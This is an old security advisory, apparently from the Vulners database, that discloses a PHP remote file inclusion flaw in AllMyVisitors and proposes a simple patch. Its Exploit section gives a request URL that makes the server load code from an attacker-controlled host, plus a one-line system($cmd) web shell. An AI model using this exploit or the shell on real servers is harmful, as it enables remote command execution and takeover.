`
******** AllMyVisitors PHP Code Injection vulnerability ********
Product : AllMyVisitors
Vendor : www.php-resource.net
Date : February 14, 2004
Problem : PHP Code Injection
Vendor Contacted ? : No
************************** Source ****************************
in /include/info.inc.php
--------------------------------------------------------------
$AMV_info_get = require_once("$_AMVconfig[cfg_serverpath]"."/include/template.inc.php");
--------------------------------------------------------------
************************** Exploit ***************************
http://[target]/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=http://[attacker]/&cmd=uname%20-a
in http://[attacker]/include/template.inc.php have :
------------------------
<?
system($cmd);
?>
------------------------
************************** Impact ****************************
Malicious user execute arbitrary commands on the server .
************************* Solution ***************************
in /include/info.inc.php replace
$AMV_info_get = require_once("$_AMVconfig[cfg_serverpath]"."/include/template.inc.php");
for
if (isset($_AMVconfig[cfg_serverpath])){
die("Don\'t Hack it :)");
}
$AMV_info_get = require_once("$_AMVconfig[cfg_serverpath]"."/include/template.inc.php");
************************** Credits ****************************
bnfx : [email protected]
Mad_Skater : [email protected]
TechTeam Brazilian Crew .
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation